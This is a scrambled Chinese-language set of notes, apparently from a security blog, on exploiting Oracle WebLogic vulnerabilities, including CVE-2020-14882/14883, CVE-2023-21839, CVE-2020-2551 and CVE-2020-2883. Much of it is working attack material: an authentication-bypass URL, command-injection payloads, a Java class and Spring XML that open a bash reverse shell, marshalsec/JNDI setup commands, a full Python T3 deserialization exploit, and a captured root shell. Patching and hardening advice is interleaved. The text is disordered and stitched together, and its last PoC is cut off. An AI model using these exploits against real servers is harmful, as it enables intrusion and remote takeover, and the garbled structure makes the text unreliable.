绕过权限后,请求被分派至AsyncInitServlet,最终调用UIServlet处理.portal文件,触发控件树的生命周期方法(如init、handlePostbackData)。 -
参数解析与类加载 :
-
handle参数通过MarshalledObject反序列化机制加载指定类。 -
FileSystemXmlApplicationContext类在初始化时,会解析远程 XML 文件并执行其中定义的ProcessBuilder逻辑。 -
安全机制缺陷 :
-
黑名单缺失
:未对
ShellSession和FileSystemXmlApplicationContext进行有效拦截。 -
输入验证不足
:未对
handle参数的内容进行合法性校验,导致任意类实例化。 -
权限绕过 :
构造 URL 路径穿越访问管理后台:1
http://target:7001/console/css/%252e%252e%252fconsole.portal
-
命令执行 :
-
方式一(ShellSession) :
直接注入命令(如创建文件或反弹 Shell):1
http://target:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
-
方式二(XML 加载) :
- 编写一个和cve-2019-2725利用链类似的xml文件
-
启动http服务
python3 -m http.server 80 - 部署恶意 XML 文件并触发加载(hackbar):
-
类黑名单更新
:将
ShellSession和FileSystemXmlApplicationContext加入反序列化黑名单。 -
输入过滤增强
:对
handle参数进行严格校验,禁止加载未授权的类。 - 协议限制 :建议禁用 T3/IIOP 协议或限制访问来源。
- 补丁升级 :及时安装 Oracle 官方季度补丁。
- 协议加固 :禁用 T3/IIOP 协议或配置 IP 白名单。
- 网络隔离 :限制管理控制台的访问范围,避免暴露在公网。
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0 。
-
远程对象绑定
:攻击者通过 T3/IIOP 协议将恶意对象绑定到 WebLogic 服务端,该对象需继承自
OpaqueReference接口 。 -
lookup 操作触发
:当服务端通过
lookup方法访问绑定的远程对象时,会调用其getReferent()方法。 -
JNDI 注入
:在
weblogic.deployment.jms.ForeignOpaqueReference类的getReferent方法中,存在以下关键代码:其中1
retVal = context.lookup(this.remoteJNDIName);
remoteJNDIName参数由攻击者控制,可指向恶意 RMI/LDAP 服务地址,触发 JNDI 注入 。 -
远程类加载与代码执行
:通过 JNDI 注入加载远程恶意类(如利用
ldap://协议),触发反序列化或动态类加载,最终执行任意系统命令。 - 协议支持 :T3/IIOP 协议默认开放且允许远程绑定对象,未对绑定内容进行严格校验。
-
黑名单绕过
:WebLogic 的反序列化黑名单未覆盖
ForeignOpaqueReference类及其依赖的 JNDI 上下文机制。 -
输入验证缺失
:未对
remoteJNDIName参数进行合法性检查,导致攻击者可注入任意 JNDI 地址 。 -
构造恶意对象
:生成继承自
OpaqueReference的远程对象,设置remoteJNDIName为攻击者控制的 LDAP/RMI 服务地址。 - 绑定对象至服务端 :通过 T3/IIOP 协议将恶意对象发送至目标 WebLogic 服务器。
-
触发 lookup 操作
:诱导服务端调用
lookup方法访问该对象,触发getReferent方法中的 JNDI 注入。 -
加载远程恶意类
:服务端通过 LDAP/RMI 协议下载并加载攻击者提供的恶意类(如
ReverseShell或ProcessBuilder),执行系统命令 。 - JNDIExploit :用于搭建恶意 LDAP 服务,托管恶意类文件并生成反向 Shell 载荷。
- CVE-2023-21839 PoC 工具 :自动化生成攻击请求,指定目标 IP、端口及恶意 JNDI 地址 。
-
编写恶意类并编译
1
2
3
4
5
6
7
8
9
10
11import java.io.IOException;
public class exp {
static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.100.129/1234 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
} -
编译命令
javac exp.java -
HTTP服务公开恶意类
-
python -m http.server 80 -
启动 JNDI 服务
-
在攻击机上运行marshalsec,监听 LDAP/RMI 服务并托管恶意类:
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker/#exp" 1089
-
nc -lvnp 1234 -
下载并的PoC
-
执行攻击命令:
1
java -jar Weblogic-CVE-2023-21839.jar target_ip:7001 ldap://attacker_ip:1089/exp
-
获取反弹 Shell
-
成功执行后,攻击机的
nc监听端口将接收到目标服务器的 Shell 连接,实现远程控制。 -
利用
ForeignOpaqueReference类注入可控的remoteJNDIName,触发 JNDI 注入:1
2
3
4
5
6// 示例代码(简化)
InitialContext c = new InitialContext();
ForeignOpaqueReference f = new ForeignOpaqueReference();
f.setRemoteJNDIName("ldap://攻击机IP:1389/Basic/Command/calc");
c.bind("恶意对象名称", f);
c.lookup("恶意对象名称"); // 触发漏洞 -
关键点 :通过反射修改
jndiEnvironment和remoteJNDIName字段,指向攻击者控制的 LDAP 服务。 -
托管恶意类文件
-
在 JNDIExploit 的 HTTP 服务路径下放置恶意 XML 或 Java 类文件(如
ReverseShell.class),通过 LDAP 服务动态加载79。 - 运行 Java PoC 代码,目标服务器将向攻击机的 LDAP 服务发起请求,加载并执行恶意代码。
-
黑名单更新
:将
ForeignOpaqueReference及相关危险类加入反序列化黑名单。 - 协议限制 :增强 T3/IIOP 协议的安全性校验,限制未授权绑定操作 。
-
禁用 T3/IIOP 协议
:
- 通过 WebLogic 控制台关闭 IIOP 协议。
-
使用连接筛选器(
ConnectionFilterImpl)限制 T3 协议访问来源 。 - 网络隔离 :限制 WebLogic 管理端口(7001)的访问范围,避免暴露于公网。
- 升级 JDK :使用 JDK 11+ 版本以限制 JNDI 远程类加载能力 。
- 定期更新官方补丁,关注 Oracle 季度安全通告。
- 强化协议管控,遵循最小化开放原则。
- 部署入侵检测系统(IDS)监控异常 T3/IIOP 流量(如高频 JNDI 请求)。
- 使用nmap扫描T3协议是否可用
- 就目前而言就这个工具最好用** WeblogicTool **
- 使用java启动工具GUI
-
直接点击协议探测,探测时候开启T3或者IIOP。
- 在地址栏下方输入想要探测的url即可。
- T3 协议 :专为 WebLogic 设计的高性能 Java 协议, 反序列化漏洞高发 ,需严格限制公网暴露。
- IIOP 协议 :面向跨语言集成的标准协议, 风险相对可控 ,但需注意 CORBA 安全配置。
- 共同防御重点 :禁用非必要协议、启用加密传输、监控反序列化行为。
- 类型 :XMLDecoder 反序列化漏洞(组件相关)
- 影响版本 :WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0
-
原理
:
漏洞源于 WebLogic 的 WLS-WebServices 组件未对用户传入的 XML 数据进行过滤,攻击者可构造包含object标签的恶意 XML 数据,触发XMLDecoder反序列化执行任意命令。 -
修复措施
:
官方通过黑名单机制过滤object标签,但该补丁存在绕过可能。 - 类型 :XMLDecoder 反序列化补丁绕过漏洞
- 影响版本 :与 CVE-2017-3506 相同
-
原理
:
CVE-2017-3506 的补丁仅过滤了object标签,攻击者改用void、new、method等标签构造新的 XML 载荷,绕过黑名单限制,再次触发反序列化漏洞。 -
利用路径
:
通过/wls-wsat/CoordinatorPortType等接口发送恶意 SOAP 请求,执行命令或上传 WebShell。 -
修复措施
:
进一步扩展黑名单限制更多危险标签,并删除wls-wsat组件。 - 类型 :XMLDecoder 反序列化二次补丁绕过漏洞
- 影响版本 :WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0
-
原理
:
攻击者通过class属性构造特定 XML 节点(如<array class="byte">),绕过 CVE-2017-10271 的补丁限制,再次触发反序列化漏洞48。 - 关联协议 :HTTP
-
利用场景
:
类似 CVE-2017-10271,但需构造更复杂的载荷绕过补丁检查。 - 类型 :XMLDecoder 反序列化漏洞(组件相关)
- 影响版本 :WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0
-
原理
:
攻击者通过AsyncResponseService组件的 HTTP 接口发送恶意 XML 数据,利用未过滤的反序列化路径执行命令,属于 CVE-2019-2725 的变种。 -
修复措施
:
彻底移除或禁用相关组件,并升级至安全版本。 - 核心原因 :WebLogic 在处理 T3/IIOP 协议的反序列化数据时,未严格校验输入数据,导致恶意对象被解析并触发代码执行。
-
典型漏洞
:
- CVE-2015-4852 :首个公开的 WebLogic 反序列化漏洞,利用 Apache Commons Collections 链实现 RCE。
- CVE-2017-10271 :通过 XMLDecoder 反序列化绕过补丁,触发远程代码执行。
- CVE-2019-2725 :wls9-async 组件反序列化漏洞,影响 10.3.6.0 和 12.1.3.0 版本。
-
CVE-2020-2551
:基于 IIOP 协议的反序列化漏洞,利用
JtaTransactionManager类绕过黑名单。 - 利用方式 :构造恶意序列化数据,通过 T3/IIOP 协议发送至目标端口(默认 7001)。
- 核心原因 :身份验证逻辑缺陷或路径遍历漏洞,允许攻击者绕过登录验证直接访问敏感功能。
-
典型漏洞
:
-
CVE-2020-14882
:未授权访问管理控制台,通过构造特殊 URL 绕过认证(如
/console/css/%252e%252e%252fconsole.portal)。- 利用方式 :直接访问隐藏接口或通过路径遍历访问受限功能(如部署 WAR 文件)。
- CVE-2020-14883 :权限提升漏洞,结合 CVE-2020-14883 实现未授权 RCE。
- 核心原因 :未对上传文件的路径、类型和权限进行校验,导致恶意文件被写入可执行目录。
-
典型漏洞
:
-
CVE-2018-2894
:通过
/ws_utc/config.do修改工作目录,上传 JSP Webshell 至 Web 路径。 - CVE-2020-14750 :利用未授权上传配置文件导致代码执行。
- 利用方式 :利用管理界面功能(如“安全”选项)上传恶意文件,并通过 HTTP 访问触发。
- 核心原因 :服务端未校验用户提供的 URL,允许攻击者探测内网或发起二次攻击。
-
典型漏洞
:
-
CVE-2014-4210
:通过
uddiexplorer/SearchPublicRegistries.jsp发起内网请求。 - 利用方式 :构造恶意 URL 参数,利用 WebLogic 服务作为代理访问内部系统。
- 核心原因 :多种漏洞组合利用(如反序列化 + 权限绕过)或直接代码注入。
-
典型漏洞
:
- CVE-2019-2729 :通过未授权接口触发远程代码执行。
- CVE-2020-14644 :Coherence 组件的反序列化漏洞,通过 T3/IIOP 触发。
- 利用方式 :结合反序列化链或直接部署恶意应用(如 WAR 文件)。
6. 配置错误
5. 远程代码执行(RCE)
-
CVE-2014-4210
:通过
4. SSRF(服务器端请求伪造)
-
CVE-2018-2894
:通过
3. 文件上传漏洞
-
CVE-2020-14882
:未授权访问管理控制台,通过构造特殊 URL 绕过认证(如
2. 未授权访问/权限绕过
-
强化访问控制
:
- 限制管理控制台的访问 IP。
- 启用多因素认证(MFA)和强密码策略。
-
最小化服务暴露
:
- 关闭不必要的服务(如 IIOP)。
- 避免将 WebLogic 管理端口(7001)暴露在公网。
-
日志与监控
:
- 实时监控异常请求(如大量反序列化流量)。
-
定期审计日志文件(
access.log、server.log) -
不可出网利用
- 基于HTTP协议XMLDecoder系列
- 基于HTTP协议未授权绕过RCE系列CVE-2020-14882/CVE-2020-14883
- 基于文件上传的CVE-2018-2894
- 基于T3/IIOP的CC链变种CVE-2020-2883
-
可出网利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18CVE-2023-21931(JNDI)
CVE-2023-21839(JNDI)
CVE-2020-2551(JRMP)
CVE-2020-2551
CVE-2020-2555
CVE-2020-2883
CVE-2020-14882 未授权访问
CVE-2018-2894
CVE-2018-2628(JRMP)
CVE-2018-2893(JRMP)
CVE-2018-3245(JRMP)
CVE_2018_3252(JRMP)
CVE_2018_3191
CVE-2016-3510
CVE-2016-0638
CVE-2017-10271
CVE-2017-3248(JRMP)
CVE-2015-4852T3协议和IIOP协议对比
以下是 T3 协议 与 IIOP 协议 的对比分析,涵盖协议设计、功能特性、安全风险及适用场景等核心维度:
1. 协议概述
T3 协议 IIOP 协议 WebLogic 私有协议 ,基于 Java RMI 优化,专为 WebLogic 集群通信设计。 CORBA 标准协议 (通用对象请求代理架构),支持跨语言、跨平台的分布式通信。 提供高性能的 Java 对象传输 和集群管理功能。 实现 跨语言互操作性 (如 Java、C++、Python 等)。 Java 序列化机制、WebLogic 私有扩展(如负载均衡、心跳检测)。 CORBA 的 GIOP(通用 Inter-ORB 协议)规范,结合 Java 序列化和 IDL(接口定义语言)。 2. 核心特性对比
T3 协议 IIOP 协议 序列化机制 基于 Java 原生序列化 ,支持复杂对象传输(如类、方法、状态)。 使用 CORBA 序列化 (CDR 格式),需通过 IDL 定义接口,对非 Java 语言更友好。 高度优化:
- 压缩传输数据
- 长连接复用
- 支持异步通信。通用性强但性能较低:
- 数据包解析开销大
- 跨语言兼容性牺牲了效率。深度集成 WebLogic 集群功能:
- 自动故障转移
- 负载均衡
- 会话复制。依赖 CORBA 的 ORB(对象请求代理)实现分布式通信,无原生集群管理能力。 跨语言支持 仅限 Java (强绑定 JVM 生态)。 支持多语言 (通过 IDL 生成不同语言的客户端和服务端)。 3. 安全性对比
T3 协议 IIOP 协议 反序列化漏洞高发 (如 CVE-2018-2628):
- 协议默认使用 Java 原生序列化,攻击者可构造恶意对象绕过黑名单。风险较低但依然存在:
- CORBA 安全机制(如 CSIv2)可增强认证,但实现复杂易配置错误。支持 T3S (基于 SSL/TLS 加密)。 支持 IIOPS (SSL 加密的 IIOP)。 更广泛:
- WebLogic 默认开启 T3 端口(7001)且公网暴露风险高。较窄:
- 多用于内部系统集成,公网暴露较少。4. 典型漏洞案例
CVE-2018-2628(反序列化漏洞)
CVE-2020-2883(补丁绕过)发送恶意序列化数据,通过 InvokerTransformer或UnicastRef链执行任意代码。CVE-2018-2893(反序列化漏洞)
CVE-2020-14825(权限绕过)利用 IIOP 协议传输恶意 CORBA 对象,触发服务端反序列化或绕过权限控制。 5. 适用场景
T3 协议 IIOP 协议 纯 Java 环境 首选 :
- WebLogic 集群内部节点通信
- Java 客户端与服务器交互。不推荐:
- 性能低于 T3,无额外优势。跨语言系统 不可用:
- 仅支持 Java 生态。首选 :
- 集成遗留 CORBA 系统(如 C++ 服务)
- 多语言微服务通信。高并发需求 更优 :
- 长连接复用、数据压缩降低延迟。较差:
- 协议解析和跨语言转换带来额外开销。6. 配置与加固建议
T3 协议 IIOP 协议 若非必要,关闭 T3 端口:
Admin Console → Server → Protocols → Disable T3关闭 IIOP 端口:
Admin Console → Server → Protocols → Disable IIOP强制使用 T3S 替代 T3。 启用 IIOPS 并配置 SSL 证书。 拦截包含危险类的序列化数据(如 org.apache.commons.collections.*)。限制 CORBA 接口的访问权限,校验 IDL 定义的数据格式。 Weblogic漏洞总结
XMLDecoder组件相关CVE
1. CVE-2017-3506
2. CVE-2017-10271
3. CVE-2019-2725
4. CVE-2019-2729
WebLogic 其他常见漏洞分类总结
1. 反序列化漏洞
1
2<!-- 修改 config.xml 禁用 T3 -->
<connection-filter>t3 127.0.0.1 allow</connection-filter>
5. 总结与启示
Weblogic综合利用
1.中间件扫描,服务信息收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14┌──(kali㉿kali)-[~]
└─$ nmap --script=weblogic-t3-info 192.168.100.137
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-04 06:23 EDT
Nmap scan report for 192.168.100.137
Host is up (0.00012s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
7001/tcp open afs3-callback
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
MAC Address: 00:0C:29:AD:B3:72 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds2.综合利用工具
1
2
3┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]
└─$ java -jar WeblogicTool_1.3.jar
四月 05, 2025 3:11:47 下午 com.sun.javafx.css.parser.CSSParser declaration
4. 修复与缓解措施
4.1 官方补丁
4.2 临时缓解方案
-
成功执行后,攻击机的
6. 漏洞影响与意义
8.CVE-2020-14882
以下是关于 CVE-2020-14882 漏洞核心原理的详细解析,结合多个技术分析来源总结其攻击路径与关键机制:
1. 漏洞背景与影响
2. 核心原理分析
2.1 静态资源路径校验缺陷
1
http://target:7001/console/css/%252e%252e%252fconsole.portal
此路径解码后为
/console/../console.portal,指向管理控制台的核心入口文件console.portal,而 WebLogic 误认为该请求属于静态资源目录,从而跳过身份验证。2.2 请求分派与权限校验流程
2.3 生命周期触发点
3. 漏洞利用链示例
3.1 权限绕过(CVE-2020-14882)
4. 补丁与修复机制
5. 总结
9.CVE-2020-14883
以下是关于 CVE-2020-14883 漏洞核心原理的深度解析,结合多个技术分析来源总结其攻击路径与关键机制:
1. 漏洞背景与定位
2. 核心原理分析
2.1 漏洞触发点
2.2 关键代码流程
3.2 典型攻击步骤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/attack_ip/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>1
http://target:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://attack_ip/rce.xml")
nc端口监听
4. 补丁与修复机制
5. 总结与防御建议
CVE-2023-21839
以下是关于 CVE-2023-21839 漏洞核心原理的深度解析,结合多个技术分析来源总结其攻击路径、触发机制及修复方案:
1. 漏洞背景与影响
2. 核心原理分析
2.1 漏洞触发机制
漏洞的核心在于 WebLogic 对 T3/IIOP 协议 的远程对象绑定(Bind)和反序列化逻辑存在缺陷。具体流程如下:
2.2 关键组件缺陷
3. 漏洞利用链
3.1 典型攻击步骤
3.2 工具依赖
4.漏洞利用
方式一:使用自动化 PoC 工具
-
禁用
4. 漏洞技术细节
5. 防御与修复建议
-
目标环境
:
7. CVE-2018-2894
1. 漏洞背景与入口点
2. 漏洞触发机制
漏洞的核心原理在于 WebLogic 对用户设置的工作目录(Work Home Dir)缺乏安全校验 ,具体流程如下:
-
二、漏洞利用步骤
1. 生成恶意类文件
2. 启动 HTTP 服务托管恶意类
3. 启动恶意 RMI 服务
4. 发送 Payload 触发漏洞
-
5. 技术意义与启示
6.漏洞复现流程
以下是 CVE-2020-2551 漏洞复现的详细流程 ,结合多篇技术文档和实践总结:
一、环境准备
4. 补丁与防御措施
-
WebLogic 解析请求时,触发
-
通过
-
使用
2. 漏洞核心原理
(1) 反序列化入口点
WebLogic 在处理 IIOP 协议请求时,会对传入的序列化数据执行反序列化操作。具体流程如下:
(2) 利用链构造
(3) 黑名单绕过机制
3. 漏洞利用流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101# -*- coding: utf-8 -*-
# Modified for Python 3 compatibility
import binascii
import socket
import sys
import time
def generate_payload(path_payload):
# 生成ysoserial payload
# command = f'java -jar {path_ysoserial} {jrmp_client} {jrmp_listener_ip}:{jrmp_listener_port} > payload.out'
# print(f"command: {command}")
# os.system(command)
with open(path_payload, 'rb') as f:
bin_file = f.read()
return binascii.hexlify(bin_file).decode()
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
handshake = binascii.unhexlify('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')
sock.send(handshake)
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = binascii.unhexlify(
'000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371')
data2 = binascii.unhexlify('007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)))
data3 = binascii.unhexlify('1a7727000d3234322e323134')
data4 = binascii.unhexlify('2e312e32353461863d1d0000000078')
for d in [data1, data2, data3, data4]:
sock.send(d)
time.sleep(2)
print(f'send request payload successful, recv length: {len(sock.recv(2048))}')
def send_payload_objdata(sock, payload_hex):
payload = binascii.unhexlify(
'056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000')
payload += binascii.unhexlify(payload_hex)
payload += binascii.unhexlify(
'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff')
header = binascii.unhexlify(f'{len(payload) + 4:08x}')
sock.send(header + payload)
time.sleep(2)
sock.send(header + payload)
res = b''
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
res += chunk
time.sleep(0.1)
except Exception as e:
print(f"Error receiving data: {e}")
return res.decode('latin-1')
def exploit(dip, dport, path_payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
try:
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload_hex = generate_payload(path_payload)
print(f"payload: {payload_hex}")
rs = send_payload_objdata(sock, payload_hex)
print(f'response: {rs}')
except Exception as e:
print(f"Exploit failed: {e}")
finally:
sock.close()
print('exploit completed!')
if __name__ == "__main__":
if len(sys.argv) != 4:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to payload] ')
print('Eg: exploit.py 192.168.100.1 7001 payload.out')
print('How to generate the payload :\n java -jar ysoserial-all.jar {jrmp_client} {jrmp_listener_ip}:{jrmp_listener_port} > payload.out')
print('How to configure a JRMP server listener:\n java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener {jrmp_listener_port} CommonsCollections1 "command"')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_payload = sys.argv[3]
exploit(dip, dport, path_payload)二、漏洞检测
三、攻击流程
1
2
3
4
5
6
7┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.100.129] from (UNKNOWN) [192.168.100.137] 45138
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@4d40c6cc4a0e:~/Oracle/Middleware/user_projects/domains/base_domain#五、攻击阶段流程
阶段 1:触发反序列化
阶段 2:JRMP 协议交互
阶段 3:执行恶意代码
六、漏洞修复与缓解
七、总结
5.CVE-2020-2883
1. 漏洞背景
2. 漏洞核心原理
(1) 反序列化入口点
WebLogic 在处理 T3/IIOP 协议请求时,对传入的序列化数据执行反序列化操作。漏洞的关键在于以下两点:
(2) 漏洞利用链(Gadget Chain)
CVE-2020-2883 的利用链基于 Apache Commons Collections 的变种或其他 WebLogic 内部类的组合。典型利用链如下:
示例利用链 :
1
PriorityQueue -> ExtractorComparator -> ChainedExtractor -> ReflectionExtractor -> Runtime.exec()
(3) 绕过补丁机制
3. 漏洞触发流程
4. 关键代码分析
(1) 反序列化入口
WebLogic 的
weblogic.rjvm.InboundMsgAbbrev类处理 T3 协议数据,调用readObject方法反序列化输入流:1
2
3public Object readObject() throws IOException, ClassNotFoundException {
return this.stream.readObject();
}(2) 利用链构造
攻击者构造的恶意对象利用
ExtractorComparator触发反射:1
2
3
4
5
6
7// 恶意 Comparator 触发 ValueExtractor
ExtractorComparator comparator = new ExtractorComparator();
comparator.setExtractor(new ChainedExtractor(extractors));
// 触发比较操作,反射调用 Runtime.exec()
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(...);(3) 命令执行
1
2
3Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("bash -c <恶意命令>");5. 补丁与防御
(1) 官方补丁
(2) 缓解措施
6.漏洞复现
(1) PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132# -*- coding: utf-8 -*-
import socket
import time
import ssl
import binascii
import urlparse
import argparse
import sys
globalProxies = {}
header = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"
}
def parseUrl(url):
parsed = urlparse.urlparse(url)
proto = parsed.scheme
netloc = parsed.netloc
ip = netloc
if proto == 'http':
port = 80
else:
port = 443
if (':' in netloc):
ip = netloc.split(':')[0]
port = netloc.split(':')[1]
uri = parsed.path
return (proto, ip, port, uri)
def CVE_2020_2883(cmd):
payload_start = 'aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b78700000000273720030636f6d2e74616e676f736f6c2e7574696c2e636f6d70617261746f722e457874726163746f72436f6d70617261746f72c7ad6d3a676f3c180200014c000b6d5f657874726163746f727400224c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b78707372002c636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e436861696e6564457874726163746f72889f81b0945d5b7f02000078720036636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374436f6d706f73697465457874726163746f72086b3d8c05690f440200015b000c6d5f61457874726163746f727400235b4c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b7872002d636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374457874726163746f72658195303e7238210200014900096d5f6e546172676574787000000000757200235b4c636f6d2e74616e676f736f6c2e7574696c2e56616c7565457874726163746f723b2246204735c4a0fe0200007870000000037372002f636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e5265666c656374696f6e457874726163746f72ee7ae995c02fb4a20200025b00096d5f616f506172616d7400135b4c6a6176612f6c616e672f4f626a6563743b4c00096d5f734d6574686f647400124c6a6176612f6c616e672f537472696e673b7871007e000900000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a6765